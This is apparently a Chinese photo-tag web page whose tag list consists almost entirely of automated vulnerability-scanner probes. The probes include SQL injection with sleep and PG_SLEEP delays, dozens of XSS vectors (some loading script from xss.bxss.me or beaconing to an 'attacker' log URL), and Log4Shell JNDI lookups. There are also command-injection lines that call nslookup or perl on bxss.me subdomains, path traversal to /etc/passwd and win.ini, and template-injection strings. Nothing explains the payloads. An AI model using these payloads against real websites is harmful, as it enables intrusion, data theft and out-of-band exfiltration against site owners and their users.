×
照片标签：
- 1
- response.write(9312934*9944573)
- '+response.write(9312934*9944573)+'
- "+response.write(9312934*9944573)+"
- ${j${::-n}di:dns${::-:}//hitckvkkwbwpbbd052${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-94747..c61fb${::-.}1${::-.}bxss.me}}
- ZHixiq5q
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- echo lfqyil$()\ ftuwln\nz^xyu||a #' &echo lfqyil$()\ ftuwln\nz^xyu||a #|" &echo lfqyil$()\ ftuwln\nz^xyu||a #
- &echo gbtqus$()\ ohtxqd\nz^xyu||a #' &echo gbtqus$()\ ohtxqd\nz^xyu||a #|" &echo gbtqus$()\ ohtxqd\nz^xyu||a #
- ../1
- |echo qeooki$()\ pnbhnl\nz^xyu||a #' |echo qeooki$()\ pnbhnl\nz^xyu||a #|" |echo qeooki$()\ pnbhnl\nz^xyu||a #
- (nslookup hitozxdmjpvwd9138b.bxss.me||perl -e "gethostbyname('hitozxdmjpvwd9138b.bxss.me')")
- $(nslookup hitlsbzupeadk594a7.bxss.me||perl -e "gethostbyname('hitlsbzupeadk594a7.bxss.me')")
- &(nslookup hitffvcpomzzrf495e.bxss.me||perl -e "gethostbyname('hitffvcpomzzrf495e.bxss.me')")&'\"`0&(nslookup hitffvcpomzzrf495e.bxss.me||perl -e "gethostbyname('hitffvcpomzzrf495e.bxss.me')")&`'
- |(nslookup hitcdmmlzllvp51842.bxss.me||perl -e "gethostbyname('hitcdmmlzllvp51842.bxss.me')")
- 12345'"\'\")
- `(nslookup hitarmctmouof19656.bxss.me||perl -e "gethostbyname('hitarmctmouof19656.bxss.me')")`
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999174+10000333}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- Http://bxss.me/t/fit.txt
- 1&n907091=v968860
- http://bxss.me/t/fit.txt?.jpg
- )
- bxss.me
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '"()
- '.gethostbyname(lc('hitms'.'yemybvqf559dc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(74).chr(104).chr(75).'
- ".gethostbyname(lc("hitbs"."typchybqa2f8e.bxss.me."))."A".chr(67).chr(hex("58")).chr(121).chr(87).chr(110).chr(88)."
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- '
- "+"A".concat(70-3).concat(22*4).concat(116).concat(77).concat(101).concat(83)+(require"socket" Socket.gethostbyname("hitmm"+"amyvfixi58148.bxss.me.")[3].to_s)+"
- bibs
- '+'A'.concat(70-3).concat(22*4).concat(98).concat(70).concat(120).concat(71)+(require'socket' Socket.gethostbyname('hitij'+'zsoghkdr4f69b.bxss.me.')[3].to_s)+'
- "
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- ${@print(md5(31337))}
- bibs/.
- ${@print(md5(31337))}\
- /xfs.bxss.me
- '.print(md5(31337)).'
- '"
- <!--
- 1'"()&%<acx><ScRiPt >Hb0q(9144)</ScRiPt>
- '"()&%<acx><ScRiPt >Hb0q(9523)</ScRiPt>
- 19161822
- acu9004＜s1﹥s2ʺs3ʹuca9004
- acux10376z1z2abcxuca10376
- Sfai6SUU
- <%={{={@{#{${acx}}%>
- -1 OR 2+814-814-1=0+0+0+1 --
- -1 OR 2+749-749-1=0+0+0+1
- -1' OR 2+264-264-1=0+0+0+1 --
- -1' OR 2+430-430-1=0+0+0+1 or 'XGUhOTHS'='
- -1" OR 2+44-44-1=0+0+0+1 --
- <th:t="${acx}#foreach
- if(now()=sysdate()
- sleep(15)
- 0)
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- -1
- acu9587＜s1﹥s2ʺs3ʹuca9587
- acux1067z1z2abcxuca1067
- -1)
- 1 waitfor delay '0:0:15' --
- 54hffjfH'
- -5 OR 689=(SELECT 689 FROM PG_SLEEP(15))--
- -5) OR 687=(SELECT 687 FROM PG_SLEEP(15))--
- -1)) OR 990=(SELECT 990 FROM PG_SLEEP(15))--
- acu1368＜s1﹥s2ʺs3ʹuca1368
- acux5156z1z2abcxuca5156
- ntx3DCEv' OR 971=(SELECT 971 FROM PG_SLEEP(15))--
- HMpDFGy7') OR 338=(SELECT 338 FROM PG_SLEEP(15))--
- JXEWDuhv')) OR 737=(SELECT 737 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- 1"onmouseover=Hb0q(95372)"
- '||(select 1 from (select pg_sleep(15))x)||'
- 1" eoBx=Hb0q([!+!]) lDk="
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1\u0022onmouseover=Hb0q(96323)\u0022
- 1'"
- 1 %2527%2522
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%48%62%30%71%28%39%35%35%31%34%29%22
- @@fEPvX
- "onmouseover=Hb0q(99885)//
- 1"sTYLe='acu:Expre/**/SSion(Hb0q(9593))'bad="
- 1"><script>Hb0q(9927)</script>
- 1<ScRiPt >Hb0q(9598)</ScRiPt>
- 1<WI1ARL>PGOMX[!+!]</WI1ARL>
- 1<script>Hb0q(9983)</script>
- 1<ScR<ScRiPt>IpT>Hb0q(9152)</sCr<ScRiPt>IpT>
- 1<ScRiPt >Hb0q(9847)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9886></ScRiPt>
- 1< ScRiPt >Hb0q(9126)</ScRiPt>
- 1<svg onload=Hb0q(9776)
- 1<isindex type=image src=1 onerror=Hb0q(9304)>
- 1<iframe src='data:text/html
- 1<body onload=Hb0q(9775)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=Hb0q(9568)>
- 1<img src=xyz OnErRor=Hb0q(9361)>
- 1<img/src=">" onerror=alert(9200)>
- %31%3C%53%63%52%69%50%74%20%3E%48%62%30%71%289408%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\Hb0q(9478)\u003C/sCripT\u003E
- 1<
- <img acu onmouseover=Hb0q(95671) //>
- 1<input autofocus onfocus=Hb0q(9578)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(Hb0q(9436))}
- 13llJE <ScRiPt >Hb0q(9525)</ScRiPt>
- 1<WQ2ZLZ>HVLVY[!+!]</WQ2ZLZ>
- 1<ifRAme sRc=9792.com></IfRamE>
- 1<aPk2XZs x=9212>
- 1<img sRc='http://attacker-9280/log.php?
- 1<a8ntVum<
- CFxF4mw2
- -1 OR 2+201-201-1=0+0+0+1 --
- -1 OR 2+751-751-1=0+0+0+1
- -1' OR 2+723-723-1=0+0+0+1 --
- -1' OR 2+173-173-1=0+0+0+1 or 'veoisY68'='
- -1" OR 2+914-914-1=0+0+0+1 --
- qCv2CZ7K'
- -5 OR 300=(SELECT 300 FROM PG_SLEEP(15))--
- -5) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
- -1)) OR 368=(SELECT 368 FROM PG_SLEEP(15))--
- pYu4VBai' OR 463=(SELECT 463 FROM PG_SLEEP(15))--
- JY9BRMZo') OR 362=(SELECT 362 FROM PG_SLEEP(15))--
- BHyoXHYB')) OR 210=(SELECT 210 FROM PG_SLEEP(15))--
- @@tlEFE
- 1BL3bqzS72O
- ${j${::-n}di:dns${::-:}//hitbjwxbktixra62a8${::-.}bxss.me}zzzz
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-657073..c61fb${::-.}1${::-.}bxss.me}}
- response.write(9624470*9180134)
- '+response.write(9624470*9180134)+'
- "+response.write(9624470*9180134)+"
- echo pxireq$()\ lncyrn\nz^xyu||a #' &echo pxireq$()\ lncyrn\nz^xyu||a #|" &echo pxireq$()\ lncyrn\nz^xyu||a #
- &echo nytgqs$()\ uaqfmw\nz^xyu||a #' &echo nytgqs$()\ uaqfmw\nz^xyu||a #|" &echo nytgqs$()\ uaqfmw\nz^xyu||a #
- |echo jbbnrw$()\ euubzn\nz^xyu||a #' |echo jbbnrw$()\ euubzn\nz^xyu||a #|" |echo jbbnrw$()\ euubzn\nz^xyu||a #
- (nslookup hitxsycnbugbi3d3ca.bxss.me||perl -e "gethostbyname('hitxsycnbugbi3d3ca.bxss.me')")
- $(nslookup hitmfsixqvntp90841.bxss.me||perl -e "gethostbyname('hitmfsixqvntp90841.bxss.me')")
- &(nslookup hiteniackdtume0765.bxss.me||perl -e "gethostbyname('hiteniackdtume0765.bxss.me')")&'\"`0&(nslookup hiteniackdtume0765.bxss.me||perl -e "gethostbyname('hiteniackdtume0765.bxss.me')")&`'
- |(nslookup hitekjzhimuic3b550.bxss.me||perl -e "gethostbyname('hitekjzhimuic3b550.bxss.me')")
- `(nslookup hitjizdpvtbalcb44b.bxss.me||perl -e "gethostbyname('hitjizdpvtbalcb44b.bxss.me')")`
- 16cr7TjX
- ${10000263+9999530}
- 1&n919448=v985292
- '.gethostbyname(lc('hitrl'.'znumsjgx1ba90.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(68).chr(114).chr(74).'
- ".gethostbyname(lc("hitsf"."jkodbfhjef151.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(83).chr(113).chr(80)."
- "+"A".concat(70-3).concat(22*4).concat(97).concat(73).concat(111).concat(89)+(require"socket" Socket.gethostbyname("hiter"+"bhuychuyae4d7.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(100).concat(86).concat(102).concat(66)+(require'socket' Socket.gethostbyname('hitys'+'xhtyosyn0493b.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >RAm3(9403)</ScRiPt>
- '"()&%<acx><ScRiPt >RAm3(9878)</ScRiPt>
- 19218060
- acu6546＜s1﹥s2ʺs3ʹuca6546
- acux1799z1z2abcxuca1799
- acu1455＜s1﹥s2ʺs3ʹuca1455
- acux3714z1z2abcxuca3714
- acu3927＜s1﹥s2ʺs3ʹuca3927
- acux5992z1z2abcxuca5992
- 1"onmouseover=RAm3(93072)"
- 1" kChR=RAm3([!+!]) JPv="
- 1\u0022onmouseover=RAm3(94413)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%52%41%6D%33%28%39%32%36%35%34%29%22
- "onmouseover=RAm3(94025)//
- 1"sTYLe='acu:Expre/**/SSion(RAm3(9585))'bad="
- 1"><script>RAm3(9083)</script>
- 1<ScRiPt >RAm3(9378)</ScRiPt>
- 1<WUPPK5>VJC5I[!+!]</WUPPK5>
- 1<script>RAm3(9800)</script>
- 1<ScR<ScRiPt>IpT>RAm3(9449)</sCr<ScRiPt>IpT>
- 1<ScRiPt >RAm3(9304)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9395></ScRiPt>
- 1< ScRiPt >RAm3(9704)</ScRiPt>
- 1<svg onload=RAm3(9076)
- 1<isindex type=image src=1 onerror=RAm3(9853)>
- 1<body onload=RAm3(9270)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=RAm3(9874)>
- 1<img src=xyz OnErRor=RAm3(9877)>
- 1<img/src=">" onerror=alert(9149)>
- %31%3C%53%63%52%69%50%74%20%3E%52%41%6D%33%289850%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\RAm3(9745)\u003C/sCripT\u003E
- <img acu onmouseover=RAm3(93131) //>
- 1<input autofocus onfocus=RAm3(9717)>
- 1}body{acu:Expre/**/SSion(RAm3(9931))}
- 1vXHFY <ScRiPt >RAm3(9144)</ScRiPt>
- 1<WBGCVY>7C9CB[!+!]</WBGCVY>
- 1<ifRAme sRc=9375.com></IfRamE>
- 1<aJtr42M x=9482>
- 1<img sRc='http://attacker-9155/log.php?
- 1<a3pEM9F<
- response.write(9115636*9607581)
- '+response.write(9115636*9607581)+'
- ${j${::-n}di:dns${::-:}//hituxvhflgxafdb889${::-.}bxss.me}zzzz
- "+response.write(9115636*9607581)+"
- ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j..-672693..c61fb${::-.}1${::-.}bxss.me}}
- oTrht9S1
- echo jvqgvo$()\ vasvgc\nz^xyu||a #' &echo jvqgvo$()\ vasvgc\nz^xyu||a #|" &echo jvqgvo$()\ vasvgc\nz^xyu||a #
- &echo cdcztm$()\ ryykrv\nz^xyu||a #' &echo cdcztm$()\ ryykrv\nz^xyu||a #|" &echo cdcztm$()\ ryykrv\nz^xyu||a #
- |echo wksjkm$()\ ftvoea\nz^xyu||a #' |echo wksjkm$()\ ftvoea\nz^xyu||a #|" |echo wksjkm$()\ ftvoea\nz^xyu||a #
- (nslookup hitmdxraoocrrc02ad.bxss.me||perl -e "gethostbyname('hitmdxraoocrrc02ad.bxss.me')")
- $(nslookup hitcdjnnmqdwzb28fa.bxss.me||perl -e "gethostbyname('hitcdjnnmqdwzb28fa.bxss.me')")
- &(nslookup hitbwjcstegtg5eb59.bxss.me||perl -e "gethostbyname('hitbwjcstegtg5eb59.bxss.me')")&'\"`0&(nslookup hitbwjcstegtg5eb59.bxss.me||perl -e "gethostbyname('hitbwjcstegtg5eb59.bxss.me')")&`'
- |(nslookup hitcsqefbuggc8a6a3.bxss.me||perl -e "gethostbyname('hitcsqefbuggc8a6a3.bxss.me')")
- `(nslookup hitozeipmcrjzf2b39.bxss.me||perl -e "gethostbyname('hitozeipmcrjzf2b39.bxss.me')")`
- ${9999020+9999036}
- 1&n947370=v976072
- '.gethostbyname(lc('hityi'.'plruygux6ea2e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(89).chr(104).chr(75).'
- ".gethostbyname(lc("hitcu"."tuxxejsc6e738.bxss.me."))."A".chr(67).chr(hex("58")).chr(102).chr(76).chr(107).chr(78)."
- "+"A".concat(70-3).concat(22*4).concat(109).concat(80).concat(110).concat(84)+(require"socket" Socket.gethostbyname("hitpo"+"subjgymxccbc9.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(112).concat(70).concat(118).concat(81)+(require'socket' Socket.gethostbyname('hitdd'+'ticycqyf63618.bxss.me.')[3].to_s)+'
- DcqtlI2a
- -1 OR 2+795-795-1=0+0+0+1 --
- -1 OR 2+161-161-1=0+0+0+1
- 1'"()&%<acx><ScRiPt >hfCk(9404)</ScRiPt>
- -1' OR 2+215-215-1=0+0+0+1 --
- -1' OR 2+16-16-1=0+0+0+1 or 'N2ORKd0w'='
- '"()&%<acx><ScRiPt >hfCk(9149)</ScRiPt>
- -1" OR 2+681-681-1=0+0+0+1 --
- 19323590
- acu4427＜s1﹥s2ʺs3ʹuca4427
- acux2370z1z2abcxuca2370
- FDnnWsqF'
- -5 OR 127=(SELECT 127 FROM PG_SLEEP(15))--
- -5) OR 479=(SELECT 479 FROM PG_SLEEP(15))--
- -1)) OR 160=(SELECT 160 FROM PG_SLEEP(15))--
- gVdRuHaR' OR 488=(SELECT 488 FROM PG_SLEEP(15))--
- CQgbVOWK') OR 820=(SELECT 820 FROM PG_SLEEP(15))--
- acu7528＜s1﹥s2ʺs3ʹuca7528
- sjh8KjTE')) OR 156=(SELECT 156 FROM PG_SLEEP(15))--
- acux1746z1z2abcxuca1746
- @@kOZOg
- acu9368＜s1﹥s2ʺs3ʹuca9368
- acux4766z1z2abcxuca4766
- 1"onmouseover=hfCk(91542)"
- 1" bGoO=hfCk([!+!]) TJT="
- 1\u0022onmouseover=hfCk(91523)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%68%66%43%6B%28%39%36%32%32%34%29%22
- "onmouseover=hfCk(95685)//
- 1"sTYLe='acu:Expre/**/SSion(hfCk(9538))'bad="
- 1"><script>hfCk(9409)</script>
- 1<ScRiPt >hfCk(9322)</ScRiPt>
- 1<WKXYYG>TZVIT[!+!]</WKXYYG>
- 1<script>hfCk(9996)</script>
- 1<ScR<ScRiPt>IpT>hfCk(9460)</sCr<ScRiPt>IpT>
- 1<ScRiPt >hfCk(9213)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9245></ScRiPt>
- 1< ScRiPt >hfCk(9073)</ScRiPt>
- 1<svg onload=hfCk(9124)
- 1<isindex type=image src=1 onerror=hfCk(9630)>
- 1<body onload=hfCk(9048)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=hfCk(9537)>
- 1<img src=xyz OnErRor=hfCk(9690)>
- 1<img/src=">" onerror=alert(9501)>
- %31%3C%53%63%52%69%50%74%20%3E%68%66%43%6B%289563%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\hfCk(9937)\u003C/sCripT\u003E
- <img acu onmouseover=hfCk(91701) //>
- 1<input autofocus onfocus=hfCk(9800)>
- 1}body{acu:Expre/**/SSion(hfCk(9647))}
- 14ei3W <ScRiPt >hfCk(9868)</ScRiPt>
- 1<WCQSOV>S5LRK[!+!]</WCQSOV>
- 1<ifRAme sRc=9748.com></IfRamE>
- 1<aIYgG26 x=9336>
- 1<img sRc='http://attacker-9596/log.php?
- 1<aWOAdGx<
微信扫一扫, 保存到手机
